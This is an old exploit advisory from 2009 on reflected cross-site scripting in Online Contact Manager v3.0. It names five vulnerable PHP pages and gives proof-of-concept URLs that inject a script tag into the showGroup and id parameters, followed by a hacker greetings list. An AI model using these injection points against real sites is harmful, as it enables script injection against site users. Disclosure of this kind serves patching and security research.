Online Contact Manager 3.0 XSS

` =========================================================================================  
  
Title : Multiple Cross-site Scripting (XSS) Vulnerability  
Software : Online Contact Manager v3.0  
Vendor : www.esoftpro.com  
  
Date : 19 April 2009  
Author : Vrs-hCk  
Contact : [email protected]  
Blog : c0li.BlogSpot.Com  
  
=========================================================================================  
  
[-] Vulnerable  
  
index.php  
view.php  
email.php  
edit.php  
delete.php  
  
[-] Exploit  
  
http://[site]/[path]/index.php?showGroup=+<script>alert(123)</script>  
http://[site]/[path]/view.php?id=+<script>alert(123)</script>  
http://[site]/[path]/email.php?id=+<script>alert(123)</script>  
http://[site]/[path]/edit.php?id=+<script>alert(123)</script>  
http://[site]/[path]/delete.php?id=+<script>alert(123)</script>  
  
=========================================================================================  
  
[-] Greetz :  
  
Paman, NoGe, OoN_Boy, Angela Chang, pizzyroot, zxvf, ajegille, em|nem, loqsa, Fluzy,  
bl4Ck_3n91n3, H312Y, S3T4N, Janroe, and special muaacchh utk Dia yg Ku Cintai (*_^)  
c0li.m0de.0n and Behave oR BeGone !!!  
  
=========================================================================================`